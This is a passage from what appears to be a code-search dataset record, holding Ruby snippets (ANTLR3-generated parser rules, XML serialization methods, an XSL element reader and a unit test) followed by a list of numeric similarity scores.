look_75_0.between?(T__91, T__92)) \n alt_75 = 1\n elsif (look_75_0 == EOF || look_75_0 == TREE_BEGIN || look_75_0 == REWRITE || look_75_0.between?(TOKEN_REF, ACTION) || look_75_0 == RULE_REF || look_75_0 == T__71 || look_75_0.between?(T__81, T__83) || look_75_0 == T__93) \n alt_75 = 2\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 75, 0)\n raise nvae\n end\n case alt_75\n when 1\n # at line 379:5: ebnf_suffix\n @state.following.push(TOKENS_FOLLOWING_ebnf_suffix_IN_rewrite_tree_element_2709)\n ebnf_suffix160 = ebnf_suffix\n @state.following.pop\n if @state.backtracking == 0\n stream_ebnf_suffix.add(ebnf_suffix160.tree)\n end\n # AST Rewrite\n # elements: rewrite_tree, ebnf_suffix\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 380:4: -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n # at line 380:7: ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_ebnf_suffix.next_node(), root_1)\n\n # at line 380:21: ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] )\n root_2 = @adaptor.create_flat_list!\n root_2 = @adaptor.become_root(@adaptor.create!(BLOCK, \"BLOCK\"), root_2)\n\n # at line 380:38: ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] )\n root_3 = @adaptor.create_flat_list!\n root_3 = @adaptor.become_root(@adaptor.create!(ALT, \"ALT\"), root_3)\n\n @adaptor.add_child(root_3, stream_rewrite_tree.next_tree)\n @adaptor.add_child(root_3, @adaptor.create!(EOA, \"EOA\"))\n\n @adaptor.add_child(root_2, root_3)\n @adaptor.add_child(root_2, @adaptor.create!(EOB, \"EOB\"))\n\n @adaptor.add_child(root_1, root_2)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 381:5: \n # AST Rewrite\n # elements: rewrite_tree\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 381:5: -> rewrite_tree\n @adaptor.add_child(root_0, stream_rewrite_tree.next_tree)\n\n\n\n return_value.tree = root_0\n\n end\n end\n\n when 4\n root_0 = @adaptor.create_flat_list!\n\n\n # at line 383:6: rewrite_tree_ebnf\n @state.following.push(TOKENS_FOLLOWING_rewrite_tree_ebnf_IN_rewrite_tree_element_2755)\n rewrite_tree_ebnf161 = rewrite_tree_ebnf\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child(root_0, rewrite_tree_ebnf161.tree)\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 36)\n\n end\n \n return return_value\n end", "def rewrite_tree_element\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 36 )\n return_value = RewriteTreeElementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n rewrite_tree_atom156 = nil\n rewrite_tree_atom157 = nil\n ebnf_suffix158 = nil\n rewrite_tree159 = nil\n ebnf_suffix160 = nil\n rewrite_tree_ebnf161 = nil\n\n stream_rewrite_tree = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule rewrite_tree\" )\n stream_rewrite_tree_atom = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule rewrite_tree_atom\" )\n stream_ebnf_suffix = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule ebnf_suffix\" )\n begin\n # at line 366:2: ( rewrite_tree_atom | rewrite_tree_atom ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | rewrite_tree ( ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | -> rewrite_tree ) | rewrite_tree_ebnf )\n alt_76 = 4\n alt_76 = @dfa76.predict( @input )\n case alt_76\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 366:4: rewrite_tree_atom\n @state.following.push( TOKENS_FOLLOWING_rewrite_tree_atom_IN_rewrite_tree_element_2657 )\n rewrite_tree_atom156 = rewrite_tree_atom\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, rewrite_tree_atom156.tree )\n end\n\n when 2\n # at line 367:4: rewrite_tree_atom ebnf_suffix\n @state.following.push( TOKENS_FOLLOWING_rewrite_tree_atom_IN_rewrite_tree_element_2662 )\n rewrite_tree_atom157 = rewrite_tree_atom\n @state.following.pop\n if @state.backtracking == 0\n stream_rewrite_tree_atom.add( rewrite_tree_atom157.tree )\n end\n @state.following.push( TOKENS_FOLLOWING_ebnf_suffix_IN_rewrite_tree_element_2664 )\n ebnf_suffix158 = ebnf_suffix\n @state.following.pop\n if @state.backtracking == 0\n stream_ebnf_suffix.add( ebnf_suffix158.tree )\n end\n # AST Rewrite\n # elements: ebnf_suffix, rewrite_tree_atom\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 368:3: -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n # at line 368:6: ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_ebnf_suffix.next_node, root_1 )\n\n # at line 368:21: ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] )\n root_2 = @adaptor.create_flat_list\n root_2 = @adaptor.become_root( @adaptor.create( BLOCK, \"BLOCK\" ), root_2 )\n\n # at line 368:38: ^( ALT[\\\"ALT\\\"] rewrite_tree_atom EOA[\\\"EOA\\\"] )\n root_3 = @adaptor.create_flat_list\n root_3 = @adaptor.become_root( @adaptor.create( ALT, \"ALT\" ), root_3 )\n\n @adaptor.add_child( root_3, stream_rewrite_tree_atom.next_tree )\n @adaptor.add_child( root_3, @adaptor.create( EOA, \"EOA\" ) )\n\n @adaptor.add_child( root_2, root_3 )\n @adaptor.add_child( root_2, @adaptor.create( EOB, \"EOB\" ) )\n\n @adaptor.add_child( root_1, root_2 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 3\n # at line 369:6: rewrite_tree ( ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | -> rewrite_tree )\n @state.following.push( TOKENS_FOLLOWING_rewrite_tree_IN_rewrite_tree_element_2698 )\n rewrite_tree159 = rewrite_tree\n @state.following.pop\n if @state.backtracking == 0\n stream_rewrite_tree.add( rewrite_tree159.tree )\n end\n # at line 370:3: ( ebnf_suffix -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) ) | -> rewrite_tree )\n alt_75 = 2\n look_75_0 = @input.peek( 1 )\n\n if ( look_75_0 == T__74 || look_75_0.between?( T__91, T__92 ) )\n alt_75 = 1\n elsif ( look_75_0 == EOF || look_75_0 == TREE_BEGIN || look_75_0 == REWRITE || look_75_0.between?( TOKEN_REF, ACTION ) || look_75_0 == RULE_REF || look_75_0 == T__71 || look_75_0.between?( T__81, T__83 ) || look_75_0 == T__93 )\n alt_75 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 75, 0 )\n end\n case alt_75\n when 1\n # at line 370:5: ebnf_suffix\n @state.following.push( TOKENS_FOLLOWING_ebnf_suffix_IN_rewrite_tree_element_2704 )\n ebnf_suffix160 = ebnf_suffix\n @state.following.pop\n if @state.backtracking == 0\n stream_ebnf_suffix.add( ebnf_suffix160.tree )\n end\n # AST Rewrite\n # elements: ebnf_suffix, rewrite_tree\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 371:4: -> ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n # at line 371:7: ^( ebnf_suffix ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] ) )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_ebnf_suffix.next_node, root_1 )\n\n # at line 371:21: ^( BLOCK[\\\"BLOCK\\\"] ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] ) EOB[\\\"EOB\\\"] )\n root_2 = @adaptor.create_flat_list\n root_2 = @adaptor.become_root( @adaptor.create( BLOCK, \"BLOCK\" ), root_2 )\n\n # at line 371:38: ^( ALT[\\\"ALT\\\"] rewrite_tree EOA[\\\"EOA\\\"] )\n root_3 = @adaptor.create_flat_list\n root_3 = @adaptor.become_root( @adaptor.create( ALT, \"ALT\" ), root_3 )\n\n @adaptor.add_child( root_3, stream_rewrite_tree.next_tree )\n @adaptor.add_child( root_3, @adaptor.create( EOA, \"EOA\" ) )\n\n @adaptor.add_child( root_2, root_3 )\n @adaptor.add_child( root_2, @adaptor.create( EOB, \"EOB\" ) )\n\n @adaptor.add_child( root_1, root_2 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 372:5: \n # AST Rewrite\n # elements: rewrite_tree\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 372:5: -> rewrite_tree\n @adaptor.add_child( root_0, stream_rewrite_tree.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n end\n\n when 4\n root_0 = @adaptor.create_flat_list\n\n\n # at line 374:6: rewrite_tree_ebnf\n @state.following.push( TOKENS_FOLLOWING_rewrite_tree_ebnf_IN_rewrite_tree_element_2750 )\n rewrite_tree_ebnf161 = rewrite_tree_ebnf\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, rewrite_tree_ebnf161.tree )\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 36 )\n\n end\n \n return return_value\n end", "def reify(hash)\n type = index(hash, :type)\n content = klass(type).new(nil, @context, reify: true, def: index(hash, :def))\n DSLStructObject.new(type, content, reify: true, required: index(hash, :required))\n end", "def to_xml(xml)\n xml.way(attributes) do\n nodes.each do |node|\n xml.nd(:ref => node)\n end\n tags.to_xml(xml)\n end\n end", "def test_unflatten_process\r\n proc = @mymodel.node_list.add_node(1, 'proc1', PROCESS)\r\n proc.commentary='com'\r\n proc.description='dsc' \r\n proc.evidence=0.23\r\n \r\n data = proc.flatten_data\r\n \r\n @mymodel.node_list.delete_node(proc)\r\n \r\n livenode = @mymodel.node_list.node_from_data(data)\r\n \r\n assert_equal(proc.ident, livenode.ident) \r\n assert_equal(proc.name, livenode.name) \r\n assert_equal(proc.node_type, livenode.node_type) \r\n assert_equal(proc.commentary, livenode.commentary) \r\n assert_equal(proc.description, livenode.description) \r\n assert_equal(proc.evidence, livenode.evidence) \r\n end", "def transform\r\n trans(:class => SimpleXMIMetaModel::UML::Clazz)\r\n end", "def read_raw_element(element, x, doc_element, indent, j)\n\n method_name = x.name.gsub(/[:-]/,'_').to_sym\n puts ('method_name: ' + method_name.inspect).debug if @debug\n\n if @xsl_methods.include? method_name then\n\n if method_name == :'xsl_apply_templates' then\n #doc_element = doc_element.elements.last\n end\n\n method(method_name).call(element, x, doc_element, indent, j)\n\n else\n\n previous_indent = indent\n la = x.name\n new_indent = indent + 1 if @indent == true\n\n new_element = x.clone\n\n new_element.attributes.each do |k,raw_v|\n\n v = raw_v.is_a?(Array) ? raw_v.join(' ') : raw_v\n\n puts 'v: ' + v.inspect if @debug\n\n if v[/{/] then\n\n v.gsub!(/(\\{[^\\}]+\\})/) do |x2|\n\n xpath = x2[/\\{([^\\}]+)\\}/,1]\n puts 'element.text(xpath): ' + element.text(xpath).inspect if @debug\n text = element.text(xpath).to_s.strip\n puts 'text: ' + text.inspect if @debug\n text ? text.clone : ''\n\n end\n\n puts '2. v: ' + v.inspect if @debug\n\n end\n end\n\n puts 'x.children.length: ' + x.children.length.inspect if @debug\n\n if x.children.length > 0 then\n\n indent_before(element, x, doc_element, new_indent, j) if @indent == true\n\n read_node(x, element, new_element, new_indent, j)\n doc_element.add new_element\n\n if @indent == true then\n if doc_element.children.last.children.any? \\\n {|x| x.is_a? Rexle::Element} then\n\n doc_element.children.last.add_text \"\\n\" + ' ' * (new_indent - 1)\n end\n end\n\n\n else\n\n indent_before(element, x, new_element, new_indent, j) if @indent == true\n\n val = @indent == true ? x.to_s : x.to_s\n #jr020219 doc_element.add val\n doc_element.add new_element\n\n end\n\n end\n #new_element\n #puts 'attributes: ' + new_element.attributes.inspect if @debug\n\n end", "def to_xml\n el = REXML::Element.new(\"f\")\n \n # In the current Filter handling by OML Server/Client\n # pname is the input for the filter, and it is an attribute\n # of the filter element in XML\n # However, in the future there could be many inputs \n # to a filter, thus input will become a child element of the\n # filter XML element.\n# if @properties.length > 0\n# @properties.each {|p|\n# el.add_attribute(\"pname\", p.value) if p.idref == :input\n# }\n# end\n \n \n el.add_attribute(\"fname\", @opts[:fname].to_s)\n # TODO: What is 'sname' used for???\n #el.add_attribute(\"sname\", @name.to_s)\n el.add_attribute(\"pname\", @opts[:pname].to_s)\n \n # Support for future evolution of Filter\n #a.add_attribute(\"idref\", idref) \n #if @properties.length > 0\n # pe = a.add_element(\"properties\")\n # @properties.each {|p|\n # pe.add_element(p.to_xml)\n # }\n #end\n return el\n end" ]
[ "0.5833564", "0.56044257", "0.5586835", "0.5562701", "0.5546754", "0.554131", "0.55039716", "0.5457295", "0.5360595", "0.52798563", "0.5271179", "0.5258607", "0.5215591", "0.52146006", "0.52047265", "0.5188132", "0.51628274", "0.5159342", "0.5098895", "0.5082334", "0.5082334", "0.50582695", "0.50486076", "0.5022845", "0.5020768", "0.50153357", "0.50096416", "0.50080305", "0.50037086", "0.4995182", "0.49941492", "0.4989201", "0.49796662", "0.49741715", "0.4956811", "0.49529165", "0.49515122", "0.49505615", "0.49420917", "0.49238834", "0.49233925", "0.49042132", "0.4903215", "0.48772582", "0.4873215", "0.4860455", "0.48582518", "0.48464912", "0.48399633", "0.48347536", "0.4829545", "0.48133036", "0.4812147", "0.4809242", "0.48006773", "0.47996664", "0.47969323", "0.47754487", "0.47705886", "0.4765993", "0.4764502", "0.4763714", "0.47624758", "0.47612658", "0.47505826", "0.4750212", "0.47488382", "0.47459677", "0.4742955", "0.47386006", "0.47333032", "0.47333032", "0.4732818", "0.47325218", "0.47298488", "0.47268498", "0.47240067", "0.4723251", "0.4720077", "0.47154555", "0.4714753", "0.47048238", "0.47041976", "0.47002354", "0.46907204", "0.46888536", "0.46793392", "0.46782413", "0.4677637", "0.467634", "0.46744663", "0.46730706", "0.46648285", "0.46639508", "0.46621692", "0.46570393", "0.46537274", "0.4652925", "0.46505818", "0.4631504" ]
0.6260259
0